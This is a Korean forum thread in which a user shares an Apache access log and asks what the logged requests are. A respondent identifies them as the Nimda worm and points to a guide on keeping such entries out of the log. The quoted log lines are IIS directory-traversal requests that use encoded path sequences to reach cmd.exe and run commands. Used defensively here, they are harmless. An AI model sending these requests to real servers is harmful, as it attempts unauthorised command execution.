로그분석 부탁드립니다.

[bitinitialize]

아래는 아파치 access_log 일부입니다.
접근자 IP는 xxx로 처리^^

=============================================================
211.230.xxx.248 - - [12/Jan/2004:05:06:51 +0900] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284 "-" "-"
211.230.xxx.248 - - [12/Jan/2004:05:06:51 +0900] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
211.230.xxx.248 - - [12/Jan/2004:05:06:51 +0900] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298 "-" "-"
211.230.xxx.248 - - [12/Jan/2004:05:06:51 +0900] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315
211.230.xxx.248 - - [12/Jan/2004:05:06:51 +0900] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315 "-" "-"
211.230.xxx.248 - - [12/Jan/2004:05:06:52 +0900] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315
211.230.xxx.248 - - [12/Jan/2004:05:06:52 +0900] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315 "-" "-"
211.230.xxx.248 - - [12/Jan/2004:05:06:52 +0900] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 331
211.230.xxx.248 - - [12/Jan/2004:05:06:52 +0900] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 331 "-" "-"
211.230.xxx.248 - - [12/Jan/2004:05:06:52 +0900] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
211.230.xxx.248 - - [12/Jan/2004:05:06:52 +0900] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297 "-" "-"

=============================================================

이렇게 되어 있습니다.
공격자가 제 시스템을 윈도우즈로 오인 윈도우즈 기반의 해킹 시도한거 맞나요?
이게 어떤 종류의 해킹시도인지요?

아 그리구 아파치에서 접근자 로그(access_log) 파일에 저의 IP를 제외하고
기록하는 방법이 있다고 들었는데 httpd.conf의 어떤 부분입니까?
두꺼운 리눅스 바이블 책을 아무리 뒤져도 나오질 않네요?
그럼 모두 즐거운 리눅스~

[truefeel]

님다(Nimda) 웜입니다.
의도적인 해킹시도라기 보다는 상대 IP도 감염되어서 그런다고 보시면 됩니다.
아파치에서는 아무런 문제가 없는 것이니 걱정하지 않으셔도 되구요,
httpd.conf 설정을 통해 님다 웜을 저장하지 않을 수도 있고, 별도 파일로 저장할 수도 있습니다.

다음 글을 읽어보세요.
* http://coffeenix.net/board_view.php?cata_code=0&bd_code=16
아파치 로그 설정 중에서 '3) images 로그와 warm 로그는 별도로 저장' 부분

[bitinitialize]

답변 감사드려요. 많은 도움이 됐습니다.